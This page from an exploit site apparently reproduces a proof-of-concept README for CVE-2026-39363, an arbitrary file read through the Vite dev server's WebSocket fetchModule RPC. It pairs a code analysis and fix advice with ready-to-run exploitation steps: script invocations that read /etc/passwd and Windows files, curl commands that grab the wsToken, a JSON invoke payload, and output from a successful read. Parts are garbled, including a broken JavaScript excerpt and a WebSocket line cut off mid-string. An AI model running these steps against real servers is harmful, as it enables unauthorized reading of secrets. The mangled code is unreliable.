Share
## https://sploitus.com/exploit?id=321E3190-84E2-5512-B733-0B5AD5C394F1
# CVE-2026-39363

Vite Dev Server WebSocket Arbitrary File Read Vulnerability

## Vulnerability Overview

| Property | Information |
|--------|--------------|
| **CVE ID** | CVE-2026-39363 |
| **GHSA ID** | GHSA-p9ff-h696-f583 |
| **Vulnerability Type** | Arbitrary File Read |
| **Affected Component** | Vite Dev Server |
| **Affected Version** | Vite = 6.2.3 |

## Vulnerability Details

### Core Issue

There is a security check bypass vulnerability in the `fetchModule` RPC calls of Vite Dev Server. ### Code Analysis

**Location of the Vulnerability Code**: `vite/dist/node/chunks/dep-B0fRCRkQ.js:52065-52070`

```javascript
async function fetchModule(environment, url, importer, options = {}) {
  // ... const isFileUrl = url.startsWith("file://");

  // Critical vulnerability point: When the URL starts with β€œfile://” or there is no importer
  // It directly calls `resolveId`, without checking `isFileServingAllowed`.!
  if (isFileUrl || !importer) {
    const resolved = await environment.pluginContainer.resolveId(url);
    if (!resolved) {
      throw new Error `[vite] cannot find the entry point module '${url}'`.);
    }
    url = normalizeResolvedIdToUrl(environment, url, resolved);
  }
  // ... continue processing and returning the file content
}
```

### Comparison of Request Paths

```
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                    HTTP Request Paths (with security checks)                     β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚  HTTP GET /@fs/C:/secret.txt                                        β”‚
β”‚         β”‚                                                       β”‚
β”‚         β–Ό                                                       β”‚
β”‚  ensureServingAccess()                                          β”‚
β”‚         β”‚                                                       β”‚
β”‚         β–Ό                                                       β”‚
β”‚  isFileServingAllowed()                                         β”‚
β”‚         β”‚                                                       β”‚
β”‚         β–Ό                                                       β”‚
β”‚  isFileLoadingAllowed() ────> BLOCKED                           β”‚
β”‚  (Checks server.fs.allow)                                        β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                  WebSocket Request Paths (bypassed checks)                    β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
```

β”‚  WebSocket: fetchModule("file://C:/secret.txt")                 β”‚
β”‚         β”‚                                                       β”‚
β”‚         β–Ό                                                       β”‚
β”‚  fetchModule()                                                  β”‚
β”‚  (isFileUrl || !importer) ───> directly resolveId                   β”‚
β”‚         β”‚                                                       β”‚
β”‚         β–Ό                                                       β”‚
β”‚  loadAndTransform()                                             β”‚
β”‚  isFileLoadingAllowed() ────> depends on fs.allow configuration               β”‚
β”‚         β”‚                                                       β”‚
β”‚         β–Ό                                                       β”‚
β”‚  Successfully returns file content (if fs.allow allows)                           β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

### Key Findings

1. **HTTP Path**: Pass through multiple checks: `ensureServingAccess` β†’ `isFileServingAllowed` β†’ `isFileLoadingAllowed`

2. **WebSocket Path**:
   - The `fetchModule` function does not call `isFileServingAllowed`.
   - `isFileLoadingAllowed` still takes effect in the `loadAndTransform` step.
   - If the `server.fs.allow` configuration is relaxed, any file can be read.

## Conditions for Exploitation

1. **Vite Dev Server is exposed on the network** (e.g., using `--host`).
2. **Relaxed `server.fs.allow` configuration**:
   - `fs.allow: ['..']` – Can read parent directories.
   - `fs.allow: ['C:/']` – Can read the entire C drive.
   - `fs.strict: false` – No restrictions at all.

3. **wsToken can be obtained** by accessing `/@vite/client`.

## Environment Setup

```bash
# Clone the repository
git clone git@github.com:Firebasky/CVE-2026-39363.git
cd CVE-2026-39363

# Install dependencies
npm install

# Start Vite Dev Server with relaxed configuration to demonstrate the vulnerability
npm run dev
```

## Vulnerability Exploitation

### Method 1: Using a Python script

```bash
# Basic usage (automated port detection)
python exp.py -t localhost -p 5173 -f "C:/Windows/win.ini"

# Read files outside the project
python exp.py -t localhost -p 5173 -f "E:/secret.txt"

# Specify the token
python exp.py -t localhost -p 5173 -f "/etc/passwd" --token "your_token"
```

### Method 2: Using a Node.js POC

```bash
# Get the WebSocket Token
curl -s "http://localhost:5173/@vite/client" | grep -o 'wsToken = "[^"]*"'

# Run the POC
node poc.js localhost 5173 "C:/Windows/win.ini" "your_token"
```

### Manual Exploitation Steps

1. **Obtain the WebSocket Token**:
   ```bash
   curl -s "http://target:5173/@vite/client" | grep wsToken
   ```

2. **Establish a WebSocket Connection**:
   ```javascript
   const ws = new WebSocket('ws://target:5173?'
```

```bash
vite-hmr;
```
3. **Send payload**:
```json
{
  "type": "custom",
  "event": "vite:invoke",
  "data": {
    "id": "invoke_0",
    "name": "fetchModule",
    "data": ["file:///C:/Windows/win.ini"]
  }
}
```
## Demonstration results
```
============================================================
CVE-2026-39363 POC - Vite WebSocket Arbitrary File Read
============================================================
Target: ws://localhost:5173?token=6zKw8sjZ5KKF
File to read: C:/Windows/win.ini

[*] WebSocket connected successfully
[+] Server confirmed WebSocket connection
[*] Sending RPC: fetchModule(["file://C:/Windows/win.ini"])

============================================================
[+] SUCCESS! Arbitrary file read achieved! ============================================================
File path: C:/Windows/win.ini
------------------------------------------------------------
[+] File content:
------------------------------------------------------------
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1

============================================================
```
## File structure
```
CVE-2026-39363/
β”œβ”€β”€ README.md           # Vulnerability analysis document
β”œβ”€β”€ exp.py              # Python exploit script
β”œβ”€β”€ poc.js              # Node.js POC
β”œβ”€β”€ vite.config.js      # Vite configuration file (for demonstration)
β”œβ”€β”€ package.json        # Project configuration
β”œβ”€β”€ src/                # Source code directory
β”‚   β”œβ”€β”€ main.js
β”‚   β”œβ”€β”€ counter.js
β”‚   └── style.css
β”œβ”€β”€ public/             # Static resources
└── index.html          # Entry HTML page
```
## Fix suggestions
### 1. Upgrade Vite
```bash
npm update vite
# Or
npm install vite@latest
```
### 2. Restrict `server.fs.allow`
```javascript
// vite.config.js
export default defineConfig({
  server: {
    fs: {
      strict: true,
      allow: ['.']  // Only allow the project root directory
    }
  }
})
```
### 3. Do not expose the Dev Server
- Do not run the Dev Server in a production environment.
- Avoid using `--host` to expose the service.
- Use a firewall to restrict access.
## References
- [GHSA-p9ff-h696-f583](https://github.com/vitejs/vite/security/advisories/GHSA-p9ff-h696-f583)
- [CVE-2026-39363](https://nvd.nist.gov/vuln/detail/CVE-2026-39363)
- [Vite Documentation](https://vite.dev/config/server-options.html#server-fs-allow)
## Disclaimer
This project is intended for security research and educational purposes only. Do not use this vulnerability exploitation code for any illegal activities. Before using this code for testing, ensure that you have obtained explicit permission from the owner of the target system. ## License
MIT License